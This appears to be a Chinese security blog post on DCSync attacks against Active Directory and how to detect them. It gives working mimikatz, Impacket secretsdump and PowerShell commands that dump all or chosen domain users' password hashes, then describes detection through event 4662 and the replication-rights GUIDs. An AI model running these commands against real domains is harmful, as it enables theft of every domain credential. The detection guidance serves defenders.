01、简介

DCSync攻击是一种常见的域控攻击方法,利用DCSync导出域内用户的哈希值,本质上就是利用DRS(Directory Replication Service)协议通过 IDL_DRSGetNCChanges 从域控制器复制用户哈希凭据,以便进一步进行利用。

02、DCSync攻击手法

(1)Mimikatz

Github项目地址:

https://github.com/gentilkiwi/mimikatz/
使用方式:
#导出域内所有用户hash
mimikatz.exe privilege::debug "lsadump::dcsync /domain:evil.com /all /csv" exit
#导出指定用户Hash
mimikatz.exe privilege::debug "lsadump::dcsync /domain:evil.com /user:administrator /csv" exit

(2)Impacket

Github项目地址:

https://github.com/SecureAuthCorp/impacke

使用方式:

#导出域内所有用户hash
secretsdump.py ‘evil.com/bypass:abc123!@192.168.44.194’
#导出指定用户Hash
secretsdump.py ‘evil.com/bypass:abc123!@192.168.44.194’ -just-dc-user ‘administrator’

基于AD Event日志识别DCSync攻击_python

(3)Powershell

Github项目地址:

https://gist.github.com/monoxgas/9d238accd969550136db

使用方式:




#导出域内所有用户hash
Invoke-DCSync -DumpForest | ft -wrap -autosize
#导出指定用户hash
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

基于AD Event日志识别DCSync攻击_数据库_02

03、DCSync攻击检测

为了检测DCSync攻击,我们在域控上启用审核策略,通过安全事件日志识别DCSync的使用情况。

我们通过administrator 使用mimikatz进行DCSync导出指定用户Hash,在Windows安全日志可以很清楚的发现有两条EventCode:4662, 在Properties里面,有两条特殊的ACL权限:DS-Replication-Get-changes(Rights-GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)、DS-Replication-Get-Changes-All(Rights-GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2),administrator 对 Active Directory 对象执行操作,从而导出了域用户Hash。

基于AD Event日志识别DCSync攻击_区块链_03

基于AD Event日志识别DCSync攻击_java_04

我们可以根据日志提取关键特征,构建安全规则,从而实时监测DCSync攻击行为。

基于AD Event日志识别DCSync攻击_python_05